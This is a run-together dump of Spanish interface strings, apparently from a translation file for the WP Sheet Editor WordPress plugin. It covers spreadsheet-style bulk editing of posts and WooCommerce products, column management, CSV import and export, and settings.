30 caracteres. Puedes aumentar el número aquí para ver previsualizaciones más grandes.Por defecto, eliminamos cualquier html inseguro de todas las columnas de la hoja de cálculo antes de guardar los valores. Puedes activar esta opción si quieres permitir a los superadministradores o administradores de WordPress añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala bajo tu propia responsabilidad.Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un campo de datos de la entrada (campos que no sean meta y taxonomías) por razones de rendimiento. Habilita esto si otros plugins no están detectando nuestros cambios o los webhooks no se están ejecutando.Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda avanzada, edición masiva, exportación, importación, etc), aunque estén deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar solo las columnas habilitadas.Por defecto, mostramos cada casilla de verificación como una columna separada, pero si tienes casillas de verificación con muchas opciones es posible que desees utilizar una columna con un desplegable en su lugar.Por defecto, mostramos el nombre del archivo como texto de vista previa junto a la miniatura, habilita esto para mostrar solo la miniatura y botones únicamente.Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas.Por defecto, al exportar una columna con imágenes, agregamos el ID del archivo a la URL para que al importar, sepamos el origen de la imagen y la guardemos más rápido. Activa esta opción para no agregar el ID a la URL, todo funciona bien al habilitar esta opción, solo que el guardado puede ser un poquito más lento.Por defecto, la importación se detiene cuando un producto hace referencia a una imagen rota y hay que corregir el problema en el archivo e iniciar una nueva importación. Habilita esta opción y te permitiremos importar productos sin imágenes cuando la URL de la imagen esté rotaCANTIDAD DE CARACTERES <CANTIDAD DE CARACTERES >CONTIENEColumna en el CSVColumna en el CSVArchivo CSVArchivo CSV desde mi computadoraArchivo CSV desde una URLArchivo CSV en el servidorUbicación del archivo CSVCalendarioCancelarCancelar la importaciónCancelar los cambios y cerrar la ventana emergentePoner en mayúsculas la primera letra de cada palabra del campo. Es decir, convertir "mi título" en "Mi Título".Poner en mayúsculas las palabrasLeyendaCuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el procedimiento.Nombre de la categoría...Tipo de celdaCambiar los ajustes de los atributosCambiar el color de fondoCambios guardadosLos cambios se guardaron con éxitoCasilla de verificaciónBorrar valorHaz clic aquí para exportar los ajustesHaz clic aquí para ver todas las columnas otra vezBotónClics ahorrados
                  (estimado)CerrarFormato de columnaGrupos de columnasClave de la columnaNombre de columnaColumna no encontrada. Intenta con otro criterio de búsqueda.Columna removida. Ve a "Ajustes > Ocultar/mostrar columnas" para habilitarla de nuevoConfiguraciones definidas en el gestor de columnasTamaños de las columnasTítulos de las columnasAncho de columna (pixeles)Las columnas no se pudieron guardar. Inténtalo de nuevo.Columnas creadas manualmenteLímite de columnasGestor de columnasRenombrar columnasRedimensionar columnasColumnas restauradas con éxito. Por favor, recarga la página para ver las columnas restauradas y habilitarlasVisibilidad de las columnasVisibilidad de las columnas y los Campos Personalizados (opcional)Recuento de comentariosComentariosHoja de Cálculo de Comentarios, Reseñas y Notas de PedidoContáctanosContiene palabra claveContenidoContinuarEl rol de colaborador sólo puede ver y editar sus propios posts, pero no puede subir imágenes.Copiar y pegar desde otra hoja de cálculo o tablaCopiar y pegar en la siguiente hoja de cálculoCopiar archivos de este producto: (Necesitas guardar los cambios después.)Copiar de otras columnasCopiar de esta columnaCopiar precio normal y disminuir en porcentajeCopiar el precio normal y disminuir en cantidadCopiar el valor de otros campos en este campo.
                  Ejemplo, copiar "precio rebajado" al campo "precio normal".Copiar las variaciones este/estos producto(s).Copiar variacionesCopiar variaciones y atributos de este producto:Copiar variaciones más rápido: Número de variaciones a copiar por loteCopiar variaciones de este productoCrear y copiar variaciones para los productos variables.Crear columnaCrear nuevas filas y actualizar las filas existentesCrear este número de variacionesCrear variaciones¿Crear variaciones para cada combinación de atributos?Ventas cruzadasMonedaHoja de cálculo actualHoja de Cálculo de Tablas de Bases de Datos PersonalizadasNombres de atributos personalizadosAtributo personalizado: %sColumnas personalizadasFórmula personalizadaTipos de post personalizados¿Personalizar las característicasModo oscuroFaltan datos, inténtalo de nuevo más tarde.Fuente de datosFechaFecha (GMT)Fecha y horaFecha InicialDíasDesactivar el prefetch de los datosSeparador de decimales¿Decodificar las comillas?Disminuir enDisminuir en númeroDisminuir en porcentajeDisminuye el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.Deducir tiempo de las fechas existentesPor defectoAtributo por defectoAtributos predeterminadosOrden por defectoPor defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o durante la importación, descargamos la imagen y la guardamos en la librería multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, cualquier descarga que supere eso será cancelada para evitar problemas de rendimiento.EliminarBorrar todoEliminar completamenteEliminar campoBorrar filas más rápido: Número de filas a borrar por loteBorrar filaBorrar filasEliminar campo serializado¿Borrar las imágenes adjuntas al borrar una entrada?Borrar los elementos nuevos y mantener el elemento más antiguoBorrar los elementos antiguos y mantener el elemento más reciente¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de cálculo?Video de demostraciónDescripciónDeshabilitar todas¿Deshabilitar la carga lenta de las celdas?Deshabilitar columna. Puedes habilitarla más tarde.¿Deshabilitar la promoción de extensiones?¿Desactivar las acciones posteriores al guardar cambios?¿Deshabilitar las estadísticas de inventario de productos?¿Deshabilitar el soporte de columnas serializadas?¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?¿Deshabilitar la activación automática de la opción "Es visible" para los atributos de los productos?¿Deshabilitar la activación automática de la opción "Usar para variaciones" para los atributos en los productos variables?¿Deshabilitar la detección automática del formato?¿Desactivar la carga automática de filas?¿No mostrar el nombre del archivo en la celda de las imágenes?¿Desactivar el modo de pantalla completa?¿Deshabilitar la api heartbeat en la hoja de cálculo?¿Deshabilitar la barra de ayuda?¿Deshabilitar la ventana emergente que te pide instalar extensiones importantes?¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?Deshabilita esta opción si estás usando un plugin de caché de objetos/bases de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. Cuando editas muchas entradas, WordPress intenta "limpiar" la caché incluso si no estás usando un plugin de caché, haciendo cientos de consultas innecesarias a la base de datos.¿Deshabilitar el widget de estadísticas de uso?DeshabilitadaSi desconectas el sitio actual de tu cuenta de Google y de la API de WP Sheet Editor, se detendrán las tareas de sincronización que hayas creado en este sitio. Sin embargo, las tareas de sincronización creadas por otros usuarios en este sitio, que se sincronizan con sus propias cuentas de Google, permanecerán activas. Tus otros sitios de WordPress seguirán funcionando con normalidad. ¿Quieres continuar?¿Mostrar el valor bruto en las celdas seleccionadas?Mostrar el editor de hojas de cálculo en el frontendMostrar el editor de hojas de cálculo en el frontendMostrar las variacionesNo permitir¿No copiar las imágenes de las variaciones?¿Quieres deshabilitar las columnas para los nuevos campos encontrados?Quieres borrar {rows_number} filas de la base de datos completamente? Si quieres restaurarlas después, deberías hacer una copia de seguridad antes.¿Quieres actualizar o crear filas?¿No mostrar las columnas deshabilitadas en los módulos?¿No mostrar columnas de sólo lectura en la búsqueda avanzada?DescargarID de la descarga %dURL de la descarga %dNombre de la descarga %dDescargar archivo CSVURL de la descargaCaducidad de la descargaArchivos descargablesArchivos descargables: URLsArchivos descargables: NombresLímite de descargasNombre de la descargaTipo de descargaActualización de descargaDescargableDescargasArrastra las columnas a la izquierda o a la derecha para habilitarlas/deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. Haz clic en el botón "editar" para renombrarlas, haz clic en el botón "x" para borrarlas por completo (sólo cuando estén deshabilitadas previamente).DuplicarDuplicar (Herramienta)Duplicar desde el idioma principalDuplicar artículos masivamenteDuplicar elementos masivamente.Duplicar filaDuplicar filas: Número de copias a crear por loteDuplicar este elemento:Archivos de descarga EDDPrecio variable EDDHABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: {columns}. ¿Quieres recargar ahora? Recargaremos automáticamente.TERMINA CONHoja de Cálculo de Easy Digital DownloadsEditarEditar Editar %sEditar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. Descargar PluginEditar Campos Personalizados en una Hoja de CálculoEditar Entradas y Páginas en una Hoja de CálculoEditar perfiles de usuario en una hoja de cálculo - BásicoEditar Perfiles de Usuario en la Hoja de Cálculo - COMPLETOEditar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre filas,
                  Editar post types personalizados y campos personalizados, Editar Perfiles de Usuario, y MásEditar %s de WordPressEditar todas las filas de mi búsqueda actual (incluyendo las filas no visibles).Editar atributosEditar categorías, etiquetas y atributos en una hoja de cálculoEditar archivosEditar en una Hoja de CálculoEditar la meta claveEditar solo los productos simples y padresEditar solo las variacionesEditar ajustesEditar las filas que he seleccionado manualmente en la hoja de cálculo.Editar las mismas filas que seleccioné manualmente previamenteEditar "%s"Editando:El rol de editor puede ver y editar todos los post y páginas.ElementorCorreo electrónicoMensaje del correoAsunto del correo electrónicoHabilitarHabilitar filtros avanzadosHabilitar todas¿Habilitar el guardado automático?Habilitar columnaHabilitar comentariosHabilitar nueva hoja de cálculo¿Habilitar la opción de restringir las vistas de hojas de cálculo por usuario?Habilitar la paginaciónHabilitar las valoraciones¿Habilitar el modo simple?Habilita el modo avanzado en la parte inferior de la página para personalizar el ancho de la columna, el formato (editor, carga de archivos, taxonomías), etc.¿Habilitar modo oscuro?Habilitar el selector de términos de taxonomía bonitoHabilitar la corrección de la codificación utf8Habilita esta opción si quieres copiar todos los datos de la variación, excepto la imagen de la variación.HabilitadasHabilitar esta columna requiere una recarga de la páginaIngresa %sIngresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. Puedes agregar rangos como 20-50 como un acceso directo.Ingresa un formato de fecha. Lista de formatos. Ejemplo: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: A-m-d H:i:sIngresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: D-M-A Ingresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-d H:i:sIngresa una palabra claveIngresa una palabra clave para excluir filas. Separa múltiples palabras claves con un punto y coma (;)Ingresa un nombre...Ingresa un número y esas columnas se fijarán al hacer scroll horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas.Ingresa un término de búsqueda...Ingresa un títuloIngresa un nombre de usuario o correo electrónico...Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás tener que desplazarte por docenas de columnas para encontrar la que necesitas.Ingresa cada selección en una nueva línea. Para mayor control, puedes especificar un valor y una etiqueta así: rojo : RojoIngresar nombre del elemento...Ingresa varios SKUs o IDs separados por comasIngresa múltiples URLs separadas por comasIngresa varios atributos separados por |Ingresa los códigos de varios idiomas separados por comas y crearemos copias del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán omitidos.Ingresa varios títulos separados por comasIngresa varios términos separados por %sIngresa varios términos separados por comasIngresa una URL por líneaIngresa uno o más términos separados por %s o uno nuevo en cada línea. Ingresa la jerarquía completa como "Padre > Hijo" para remover subcategoríasIngresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio.com/wp-content/uploads/2016/01/file.jpg) o una URL externa.Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio.com/wp-content/uploads/2016/01/file.jpgIngresa las URL separadas por comas. Pueden ser de tu propio sitio.Ingresa las URL separadas por comas. Deben ser de tu propio sitio.Ingresa el nombre del atributoIngresa el nombre de la columna (lo que quieras) y selecciona la clave de campo en el menú desplegable. Si no la encuentras, puedes escribirla en el desplegable. Ver Tutorial Debes ingresar la jerarquía completa como padre > hijoIngresa la lista de claves de campo separadas por comas, puedes ingresar la clave completa del campo meta o las palabras clave o prefijos parciales. Esto es útil porque algunos plugins añaden miles de campos innecesarios a la base de datos y desordenan la hoja de cálculoIngresa los nombres de Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como padre > hijo > hijoIngresa el número.Ingresa el número del porcentaje.Ingresa el nombre o el slug del término.Ingresa el valor a añadir al final del valor existente.Ingresa el valor para añadir al inicio del valor existente.Error en la fila con el ID: %d - %sError. El motor matemático no pudo ejecutar la operación matemática: %1$s, ID: %2$dError. La columna "Estado" debe estar habilitada en la hoja de cálculo antes de remover los duplicados.Error: %sError: El nuevo valor está vacío o es igual al valor antiguoEtc.Hoja de Cálculo de The Events CalendarYa está todo guardado.Todo lo que necesitas para todos los post types y productosTodo lo que necesitas para los usuarios y clientesEjemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 (Establecer precio normal - 30%)Ejemplo: ExtractoEjecutarEjecutar AhoraSalirSalir del modo de Pantalla CompletaExportarExportar e importar ajustesExportar columnaExportar filas más rápido: Número de filas a exportar por loteExportar a un archivo CSVAmpliar la hoja de cálculoNombre de la extensiónExtensionesExtensiones que requieren actualizaciónImágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?Campos de búsqueda marcados como favoritosImagen DestacadaImagen destacadaCampoCampo 2: Columna en el CSVCampo 2: Campo en WordPressArchivo (URL o ruta)ID del archivoURL del archivoURLs de archivosNo se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo.Cargar archivoCarga de archivos (múltiple)Carga de archivos (individual)El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una codificación incorrecta. Si editaste el archivo en Excel, verifica que se guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo los valores y no el formato para evitar pegar caracteres inválidos.Archivos guardados.Filtrar elementos de la listaPaso finalEncontrar estos IDs:Encontrar estas URLs:Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 parámetros: $current_data (string con el valor actual de la celda) y $row_id, la función debe aceptar los 2 parámetros y devolver el valor modificado para guardar como string. Automáticamente guardaremos si el valor devuelto cambió. Leer más.Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta de búsqueda, actualizaremos sólo los posts con el autor MarcosPor ejemplo, si seleccionas las categorías del blog, sólo aceptaremos categorías del blog en esta columna.Por ejemplo, si seleccionas el post type "producto", sólo aceptaremos títulos de productos.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos productos que no tienen traducción al español ni al alemán.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos términos que no tienen traducción al español ni al alemán.Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se borra la imagen destacada y las imágenes de la galería de productos de la biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, se romperán las imágenes en otros postsModo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda está vacío)Fórmulas¿Congelar las columnas iniciales del lado izquierdo?Hoja de Cálculo FrontendHojas de Cálculo FrontendURL CompletaContenidoEl modo de pantalla completa está activadoGaleríaAjustes generalesGenerar extractoGenerar columnas de campos serializados basados en estos postsObtén ayuda instantánea en el chat en vivo + soporte por correo electrónico en horas de oficinaObtén las siguientes %d extensiones por sólo $ %s $ %sHoja de Cálculo de GiveWPOrden globalPásate a PremiumAtrásIr a la páginaIr arribaHojas de Cálculo de GoogleGuías y TutorialesAlturaAyudaAquí hay un archivo CSV como ejemplo que contiene todo tipo de productos.Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas un valor alto, la copia terminará más rápido pero puede saturar tu servidor. Recomendamos copiar 50 por tanda.Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un número alto, las exportaciones terminarán más rápido. Puedes usar un número alto de forma segura porque automáticamente volvemos a un número más bajo si el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 filas por lote y completar las exportaciones súper rápido y si detectamos lentitud en una exportación reiniciaremos automáticamente la exportación con 10 filas por loteOcultar / Mostrar columnasOcultar la barra de administración en el frontendOcultar columnaHoras¿Cómo se guardan los valores múltiples en la base de datos?¿Cómo debemos encontrar los elementos existentes a editar?¿Cómo quieres guardar los archivos múltiples?¿Cómo quieres guardar los posts múltiples?¿Cómo quieres guardar los términos múltiples?¿Cómo se guarda el archivo en la base de datos?¿Cómo se guarda el post en la base de datos?¿Cómo se guarda el término taxonómico en la base de datos?¿Cómo se guarda el usuario en la base de datos?¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)¿Cuántas copias quieres crear?No quiero copiar todas las variacionesTengo una copia de seguridad de la base de datos. Ejecutar AhoraEntiendo que se editarán los productos de mi búsqueda.Entiendo, continuarQuiero buscar las filas a editar y editar todos los resultados de la búsquedaPor ejemplo, un valor como "(234343) Mi gran título" puede convertirse en "Mi gran título" eliminando todo lo que precede a ") ".Es decir, un valor como "Mi gran título (234343)" puede convertirse en "Mi gran título" eliminando todo lo que aparece después de " ("IDSi la columna tiene texto demasiado largo, borraremos el HTML y lo acortaremos a un número de palabras.Si se trata de un atributo global, ingresa la clave del atributo (por ejemplo, pa_color). Ingresa el nombre si se trata de un atributo personalizado.Si estás intentando descargar algo que se exportó hace varias horas, es posible que el archivo haya caducado. Los archivos caducan al cabo de %s horas.Si haces clic en el botón "descargar", descargaremos el archivo desde el sitio web oficial: wpsheeteditor.com.Si deshabilitas esta opción, esta columna sólo se editará manualmente.Si habilitas esta opción, algunas columnas aparecerán como texto. Normalmente detectamos los campos de fecha, campos de imagen.Si habilitas esta opción, el widget de estadísticas de uso que se muestra en el panel de control de wp-admin será eliminado.Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden utilizar todas las vistas de la hoja de cálculo si esto está desactivado.Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la herramienta de búsqueda, la herramienta de edición masiva, la herramienta de importación, la herramienta de exportación y otros lugares.Si detienes una importación para editar el archivo CSV o cambias la velocidad de importación, puedes iniciar una nueva importación y continuar desde donde la dejaste.Ignorar esta columnaAltura de previsualización de la imagen dentro de la celdaAncho de previsualización de la imagen dentro de la celdaImagina poder hacer todos esos cambios a cientos o miles de entradas a la vez en sólo unos minutos. La función de fórmulas está disponible como extensión premium.ImportarImportar todas las filas como nuevasImportar todas las columnasImportar como metadatosImportar CSVImportar ajustesExtensiones importantesImportante. Sólo hemos detectado una columna en el archivo CSV. Si esto es incorrecto, sigue estos pasos para arreglarlo.ImportandoEn los últimos X díasEn las últimas X horasEn las últimas X semanasEn los últimos X añosEn esta página puedes configurar rápidamente el editor de hojas de cálculo. Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras pestañas son completamente opcionales y te permiten ajustar el rendimiento del editor entre otras cosas.Aumentar la productividadIncrementar enIncrementar en númeroIncrementar en porcentajeAumentar o disminuir los precios de los productosAumentar o disminuir el inventario de los productosAumentar filas por páginaAumenta el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Desfase inicial de las filasInsertar en el elementoInstalar GratisIntegraciones#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un tipo de fórmula desconocida.#8W89PQ inválido. La fórmula matemática está vacía.#8W89PQ inválido. La fórmula matemática está vacía.#PQ8SPQ inválido. La función PHP no existe: %s#PQ8SPQ inválido. La fórmula matemática contiene una coma: %sUnidad de tiempo inválida.InventarioEs descargableEs Virtual¿Es visible?¿Es un atributo global?Es destacado?¿Es de sólo lectura?¿Es visible?Busca en el título de la entrada y en su contenido. Busca por varias palabras clave separándolas con punto y coma (;)Es importante que las instales para evitar errores, pero puedes hacerlo más tarde si quieres. Encuentra esta ventana emergente en la barra de herramientas > extensiones > Integraciones.Elementos cargados en la hoja de cálculoSólo guarda los cambiosClaveEtiquetaÚltima modificaciónDéjalo vacío para usar los ajustes globales.Deja este campo vacío si quieres anular el término.LongitudModo claroColor de los enlacesListado de columnas eliminadasEn vivoCargarCargar más filas¿Cargar más filas al hacer scroll?Cargar más al hacer scrollCargar las filas más rápido: Número de filas a cargar por loteLocalizar celdaLocalizar celda.Localizar columnaLas celdas bloqueadas sólo muestran una vista previa del valor. La longitud de caracteres por defecto es %dMensaje de inicio de sesiónLogoColor principalHacer otra búsquedaGestionar de inventario¿Administrar los valores de las columnas de taxonomía como IDs de términos?¿Gestionar los valores de las columnas de taxonomía como slugs de términos?¿Administrar la columna "Padre" usando los IDs?Fórmulas matemáticasFórmula matemáticaDecimales para redondear valores al realizar ediciones masivas en columnas numéricas?Operación matemáticaCantidad máxima de campos disponibles para búsqueda avanzada?¿Número máximo de caracteres mostrados en la vista previa de los valores de las columnas tinymce?Número máximo de segundos para descargar imágenes externas?Número máximo de variaciones por combinación de atributosNúmero máximo de palabrasMáximo de caracteres visibles en las celdas bloqueadasTal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor no está configurado correctamente y nuestra carpeta %s no tiene permisos de escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda a tu proveedor de hosting.Hoja de Cálculo de la Biblioteca de Medios de WordPressMenúClaves meta que deben utilizar el administrador de campos serializados infinitosMeta: %sMicrosoft Excel (Office 365)Tipo de MIMEMisceláneaColumnas faltantesFalta el número y la unidad de tiempo.Parámetros faltantes.Falta el post type o la column_key (clave de la columna)Falta el post type, old_column_key, o new_column_key; o la clave antigua y la clave nueva son iguales."Datos" del campo requerido faltantes.Campo requerido faltante. Por favor, inicia el proceso de nuevo.Fecha de modificaciónFecha de Modificación (GMT)Celdas modificadasFilas modificadasMesesMás opcionesMover todos tus borradores a posts publicados o a cualquier otro estadoMover cientos de entradas a la papeleraDesplegable de selección múltipleMúsicaMi licenciaNO CONTIENENo Contiene esta palabra claveNombreNombre de esta exportaciónNombre de esta exportación (opcional)¿Necesitas ayuda?¿Necesitas ayuda? Consulta nuestros tutoriales¿Necesitas ayuda? ContáctanosNueva Hoja de CálculoNuevo menú desplegable de selección múltiple (predeterminado)Se añadieron nuevas filasNuevo valorSiguienteNoNo se han encontrado artículos.No hay más filas disponibles.No hay opciones disponiblesNo hay filas disponibles para la página actual.No se han encontrado filas que coincidan con los parámetros de búsqueda. Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente.No se han encontrado taxonomías.No, eliminar todo lo que aparece después del texto, sin incluir el textoCelda normalNo está permitido.No permitido. Por favor, inicia el proceso de nuevo.No encontradoNo se encontró en la PapeleraNota. Esta no es una característica de seguridad, el usuario puede editar todos los campos en el editor normal basado en el rol. Esta opción es por conveniencia, para que los usuarios puedan solo ver las columnas que necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, podrán cambiar entre todas las vistas existentesNota: Separa los valores con el caracter %1$s
                  Te recomendamos usar Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la variación debe estar habilitada. De lo contrario, los atributos no se guardarán.Nota: Separa los valores con este carácter: %s.
                  El producto debe ser variable y tener variaciones existentes para que esto funcione. De lo contrario los atributos por defecto no serán guardados.NúmeroNúmero de decimalesNúmero de filas a procesar por lote:OKAutocompletado de selección simple antiguoSlug antiguoVersiones más antiguas de Microsoft ExcelUn correo electrónico por usuario significa que si 3 filas tienen la misma dirección de correo electrónico, sólo una fila activará un correo electrónico y las demás se omitirán. Un correo electrónico por fila significa que si 3 filas tienen la misma dirección de correo electrónico, enviaremos 3 correos electrónicos a la misma dirección (uno por fila).Una fila de variación tiene un producto padre que no existe. La columna "padre" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva importaciónSolo los administradores pueden enviar correos electrónicos a los usuarios.Copiar solo las variaciones nuevasSólo crear las filas nuevas, ignorar las filas existentesSólo para usuarios avanzados. Leer más.¿Sólo se puede enviar un correo electrónico por dirección?Oops, no encontramos nada.Abrir la Página de AjustesAbrir en una Hoja de CálculoAbrir el Editor de Hojas de CálculoOperadorOrdenOtroOtras extensionesFunción PHPPágina PadrePáginasPadreHoja de Cálculo Padre:ContraseñaPega los ajustes aquí (el contenido del archivo exportado). Notas:Pegar con el teclado: Ctrl+VPausarLos receptores responderán a esta dirección de correo electrónicoEstado del pingModo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda está vacío)Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, guárdalos o serán descartados.Por favor, corrige el error y guarda de nuevo.Por favor, corrige el error en el archivo e inicia una nueva importación. Puedes usar las "Opciones avanzadas" en el paso 1 de la importación para empezar desde esta fila específica.Ingresa el asunto y el mensaje del correo electrónico.Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas por comas.Por favor, indica cuáles términos quieres remover.Por favor, haz una copia de seguridad de tu base de datos antes de importar para estar más seguro.Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa la herramienta "Buscar" en la barra superior).Por favor, selecciona un producto.Por favor, selecciona un producto de origen.Por favor, selecciona al menos una columna a importarPor favor, selecciona un color de fondoPor favor, selecciona el post type y guarda los cambios. Después de guardar los cambios, podrás ver el resto de los ajustes e instrucciones.Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Esta función requiere la última versión de todos nuestros plugins.Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Las características del plugin "PosiciónDesplegable de postsPost typeHojas de CálculoHoja de CálculoDatos del postMeta del post (es decir, metaboxes)Términos del post (es decir, categorías)Post typePost type eliminadoPost type(s)Tipos de posts creados con WP Sheet EditorEntradasAñadir al inicioPrevisualizar el Editor FrontendAnteriorMenú PrincipalProProcesando...Procesando: Se han exportado %1$d de %2$d filas.Atributos del productoAtributos de producto no usados para las variacionesAtributos de producto no visiblesGalería del productoPromoción. Ahorra %d%% solo hoy. Nota de compraRespuestas rápidasBúsqueda rápidaAjustes rápidosREGEXPRaw HTMLLas columnas de sólo lectura mostrarán un candado y no será posible editarlas en ninguna parte de la hoja de cálculo. Esto no es una característica de seguridad porque la gente todavía puede editar en las pantallas normales de WP.Realinear celdasPrecio normalPrecio normal¿Recordar esta configuración de columnas para futuras importaciones?Eliminar todos los filtrosQuitar la columna completamente. Si quieres usarla más tarde, puedes deshabilitarla arrastrando y soltando a la columna de la derechaEliminar duplicadosBorrar duplicados por SKU (borrar los más nuevos)Borrar duplicados por SKU (borrar los más viejos)Borrar los duplicados por título (quitar los más nuevos)Borrar los duplicados por título (quitar los más antiguos)Borrar duplicados por título (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más antiguos)Eliminar todo lo que aparece después de un textoEliminar todo lo que aparece después de este textoEliminar todo lo que aparece antes de un textoEliminar todo lo que aparece antes de estoEliminar imagen destacada¿Ocultar los mensajes de ayuda de las celdas?Remover términos de los postsEliminar el valor existente y dejar el campo vacío. Leer más¿Quitar también el texto de arriba?¿Eliminar el texto también?Renombrar columnaReemplazarReemplazar un término de atributo por defectoReemplazar un archivo multimedia por otro archivoReemplaza una palabra, frase o número con un nuevo valor. Leer másReemplazar el valor existente por un valor aleatorio de esta lista. Ingresa los valores separándolos con | si quieres seleccionar de una lista predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar cualquier fecha de ese rango.Reemplazar el valor existente por este valor. Leer másReemplazar los shortcodes viejos por shortcodes nuevos en todos tus postsReemplazar algún/algunos término(s) con término(s) nuevo(s). Leer másReemplazar estos archivosReemplazar estoReemplazar este archivoReemplazar este términoReemplazar palabras o frases en los títulos, contenido u otros campos de tus postsResponder aSolicitud no permitida. Inténtalo más tarde.Restablecer los ajustesRedimensionar las columnas en base a los valoresRestaurar columnas eliminadasRecuento de valoracionesFilaFila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu CSV utiliza el nombre correcto en la columna Post type.Fila: %d. No tienes suficientes permisos para borrar este post.Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el nombre correcto en la columna "Tipo de post" o "Post Type".FilasFilas eliminadas con éxitoLas filas que he seleccionado manualmente en la hoja de cálculoEjecutar búsquedaSEOURL Canónica de SEODescripción SEODescripción SEO para FacebookImagen SEO para FacebookTítulo SEO para FacebookPalabra clave de SEOSEO - No indexar%s SEO PrimarioDescripción SEO para TwitterImagen SEO para TwitterTítulo SEO para TwitterTítulo SEOSKUINICIA CONPrecio rebajadoFecha final del precio rebajadoPrecio rebajadoFechas del precio rebajadoFecha inicial del precio rebajadoFecha inicial del precio rebajadoFecha final del precio rebajadoIgual que el post type de la hoja de cálculoIgual que la taxonomía de la hoja de cálculoGuardarGuardar y continuarGuardar cambiosGuardar los cambios y editar el siguiente postGuardar los cambios y editar el post anteriorGuarda los cambios más rápido: Número de filas a guardar por loteGuárdalos como un array serializado¿Guardar estos ajustes para sesiones futuras?Guardar esta búsquedaExportaciones guardadasBúsquedas guardadasGuárdalos separados por comasGuardado: %sGuardando cambios, por favor no cierres esta página.Escanear la BD para encontrar camposEscanear AhoraEscaneando variaciones a crear. Se han procesado {updated} productos de {total} productos.BuscarBuscar Hoja de Cálculo¿Buscar variaciones?Seguridad y roles de usuario (opcional)Seleccionar columnas 